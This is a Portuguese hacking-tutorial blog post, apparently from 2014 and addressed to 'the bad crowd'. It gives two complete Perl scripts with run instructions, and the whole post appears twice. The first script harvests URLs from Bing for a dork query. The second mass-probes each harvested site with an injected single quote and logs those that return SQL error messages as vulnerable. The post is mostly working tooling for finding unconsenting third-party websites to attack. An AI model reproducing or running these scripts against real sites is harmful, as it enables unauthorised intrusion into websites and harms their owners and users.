quinta-feira, 14 de agosto de 2014
quarta-feira, 13 de agosto de 2014
Como achar sites vulneraveis a SQL injection
Fala ae galerinha do mal tudo bem ?kk
Hj vou estar ensinando a criar um scan que faz procuras por sites vulneraveis a SQL injection. Bom chega de papo e vamos la !
1° Passo baixe o programa ActivePerl-5.16. http://www.mediafire.com/download/wpvaa96vjcibsk1/ActivePerl-5.16.rar Para que possa rodar os arquivos !!!
2° Passo abra seu bloco de notas e cole este codigo :
#!/usr/bin/perl
#Coded: Brlo0ping
use LWP::UserAgent;
print "----|| Coded: Brlo0ping ||-----||Acc3ss ro0t:~# ----||\n";
print "Digite um dork: ex:(noticias.php?id=100)\n" ;
print "-->>";
$dork = <STDIN>;
chomp($dork);
for ($i = 0; $i < 1000; $i += 10) {
$b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');
$b->timeout(30);
$b->env_proxy;
$c = $b->get('http://www.bing.com/search?q=' . $dork . '&first=' . $i . '&FORM=PERE')->content;
$check = index($c, 'sb_pagN');
while (1) {
$n = index($c, '<h3><a href="');
if ($n == -1) {
last;
}
$c = substr($c, $n + 13);
$s = substr($c, 0, index($c, '"'));
open (txt,">>lista.txt");
print txt $s,"\n";
close(txt);
}
if ($check == -1) {
last;
}
}
system("lista.txt");
exit;
........................ .................. e salve na sua area de trabalho como scan.pl
3° Passo: abra novamente seu bloco de notas e cole este codigo:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
$sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }
system("$cmd");
if (!$ARGV[0]) {
$sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }
system("$cmd");
my @bannerzinho = (0,100..200);
my $variavelbanner = $bannerzinho[int rand @bannerzinho];
if ($variavelbanner % 2 == 0) {
&bannerUm();
exit;
}
else {
&bannerDois();
exit;
}
}
&bannerDois();
print q {
Scaneando WebSite...
};
open( SITE, "< $ARGV[0]" ) or die( "Nao foi possível abrir o arquivo: $!" );
our @array = <SITE>;
$numero = $#array;
for ($i = 0; $i <= $numero; $i++) {
$Dominio = "$array[$i]";
if($Dominio !~ /http:\/\//) { $Dominio = "http://$Dominio"; }
$cmd = "'";
$site = "$Dominio$cmd";
my $req=HTTP::Request->new(GET=>$site);
my $ua=LWP::UserAgent->new();
$ua->timeout(15);
my $resposta=$ua->request($req);
if($resposta->content =~ /You have an error in your SQL syntax/ ||
$resposta->content =~ /MySQL server version/ ||
$resposta->content =~ /Syntax error converting the nvarchar value/ ||
$resposta->content =~ /Unclosed/ ||
$resposta->content =~ /SQL Server error/ ||
$resposta->content =~ /JET/) {
print "\n \t $Dominio \n";
open (NOTEPAD, ">> Sites Vulneraveis.txt");
print NOTEPAD "$site\n";
close(NOTEPAD);
}
}
print q {
FIM DO SCANNEAMENTO !
};
sub bannerUm {
print q {
_______________________
< Hello !! Welcome !! >
-----------------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_| Scanner v 1.0
Modo de uso: perl ScannerSQL.pl lista.txt
Scanner criado por: Loko Virtual
};
}
sub bannerDois {
print q {
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_| Scanner v 1.0
Modo de uso: perl ScannerSQL.pl lista.txt
Scanner criado por: Loko Virtual
};
}
........................ .................... e salve como sql.pl na sua area de trabalho!
4° Passo: Execute o scan.pl
Agora vc terá que colocar uma DORK EX: noticias.php?id=12 --->voce pode estar utilizando outros --->
Vamo la
Digite: noticias.php?id=12 e de enter
Vai começar a fazer um scan em todos os sites que tem esta DORK e ira criar um arquivo chamado "lista.txt" depois se você quiser parar é so apertar Ctrl + C.
5° Passo: agora abra seu CMD: pra quem não sabe aperte iniciar + R e ira abrir uma caixa de dialogo e digite cmd e de enter.
6° la vai estar na seguinte pasta -
C:\Users\USER>
Digite cd desktop e de enter e vai ficar assim:
C:\Users\USER\Desktop>
Digite sql.pl lista.txt e de enter /////e agora vai começar o scan e ira criar um arquivo txt chamado Sites Vulneraveis.
Hj vou estar ensinando a criar um scan que faz procuras por sites vulneraveis a SQL injection. Bom chega de papo e vamos la !
1° Passo baixe o programa ActivePerl-5.16. http://www.mediafire.com/download/wpvaa96vjcibsk1/ActivePerl-5.16.rar Para que possa rodar os arquivos !!!
2° Passo abra seu bloco de notas e cole este codigo :
#!/usr/bin/perl
#Coded: Brlo0ping
use LWP::UserAgent;
print "----|| Coded: Brlo0ping ||-----||Acc3ss ro0t:~# ----||\n";
print "Digite um dork: ex:(noticias.php?id=100)\n" ;
print "-->>";
$dork = <STDIN>;
chomp($dork);
for ($i = 0; $i < 1000; $i += 10) {
$b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');
$b->timeout(30);
$b->env_proxy;
$c = $b->get('http://www.bing.com/search?q=' . $dork . '&first=' . $i . '&FORM=PERE')->content;
$check = index($c, 'sb_pagN');
while (1) {
$n = index($c, '<h3><a href="');
if ($n == -1) {
last;
}
$c = substr($c, $n + 13);
$s = substr($c, 0, index($c, '"'));
open (txt,">>lista.txt");
print txt $s,"\n";
close(txt);
}
if ($check == -1) {
last;
}
}
system("lista.txt");
exit;
........................ .................. e salve na sua area de trabalho como scan.pl
3° Passo: abra novamente seu bloco de notas e cole este codigo:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
$sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }
system("$cmd");
if (!$ARGV[0]) {
$sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }
system("$cmd");
my @bannerzinho = (0,100..200);
my $variavelbanner = $bannerzinho[int rand @bannerzinho];
if ($variavelbanner % 2 == 0) {
&bannerUm();
exit;
}
else {
&bannerDois();
exit;
}
}
&bannerDois();
print q {
Scaneando WebSite...
};
open( SITE, "< $ARGV[0]" ) or die( "Nao foi possível abrir o arquivo: $!" );
our @array = <SITE>;
$numero = $#array;
for ($i = 0; $i <= $numero; $i++) {
$Dominio = "$array[$i]";
if($Dominio !~ /http:\/\//) { $Dominio = "http://$Dominio"; }
$cmd = "'";
$site = "$Dominio$cmd";
my $req=HTTP::Request->new(GET=>$site);
my $ua=LWP::UserAgent->new();
$ua->timeout(15);
my $resposta=$ua->request($req);
if($resposta->content =~ /You have an error in your SQL syntax/ ||
$resposta->content =~ /MySQL server version/ ||
$resposta->content =~ /Syntax error converting the nvarchar value/ ||
$resposta->content =~ /Unclosed/ ||
$resposta->content =~ /SQL Server error/ ||
$resposta->content =~ /JET/) {
print "\n \t $Dominio \n";
open (NOTEPAD, ">> Sites Vulneraveis.txt");
print NOTEPAD "$site\n";
close(NOTEPAD);
}
}
print q {
FIM DO SCANNEAMENTO !
};
sub bannerUm {
print q {
_______________________
< Hello !! Welcome !! >
-----------------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_| Scanner v 1.0
Modo de uso: perl ScannerSQL.pl lista.txt
Scanner criado por: Loko Virtual
};
}
sub bannerDois {
print q {
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_| Scanner v 1.0
Modo de uso: perl ScannerSQL.pl lista.txt
Scanner criado por: Loko Virtual
};
}
........................ .................... e salve como sql.pl na sua area de trabalho!
4° Passo: Execute o scan.pl
Agora vc terá que colocar uma DORK EX: noticias.php?id=12 --->voce pode estar utilizando outros --->
Vamo la
Digite: noticias.php?id=12 e de enter
Vai começar a fazer um scan em todos os sites que tem esta DORK e ira criar um arquivo chamado "lista.txt" depois se você quiser parar é so apertar Ctrl + C.
5° Passo: agora abra seu CMD: pra quem não sabe aperte iniciar + R e ira abrir uma caixa de dialogo e digite cmd e de enter.
6° la vai estar na seguinte pasta -
C:\Users\USER>
Digite cd desktop e de enter e vai ficar assim:
C:\Users\USER\Desktop>
Digite sql.pl lista.txt e de enter /////e agora vai começar o scan e ira criar um arquivo txt chamado Sites Vulneraveis.
Assinar:
Postagens (Atom)